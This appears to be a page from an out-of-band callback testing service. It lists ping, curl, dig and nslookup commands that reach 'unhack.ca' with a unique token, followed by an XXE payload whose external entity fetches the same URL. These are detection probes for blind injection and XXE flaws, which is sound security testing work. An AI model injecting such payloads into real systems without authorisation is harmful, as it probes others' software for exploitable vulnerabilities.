$ ping -c1 -p 00dd57fc7e77f4f18ffb1003b15f3400 unhack.ca
 

$ curl http://unhack.ca/p/dd57fc7e77f4f18ffb1003b15f34
 

$ dig dd57fc7e77f4f18ffb1003b15f34 @unhack.ca
 

$ dig dd57fc7e77f4f18ffb1003b15f34.ns.unhack.ca
 

C:\> nslookup dd57fc7e77f4f18ffb1003b15f34 unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/dd57fc7e77f4f18ffb1003b15f34">]>
    <foo>&xxe;</foo>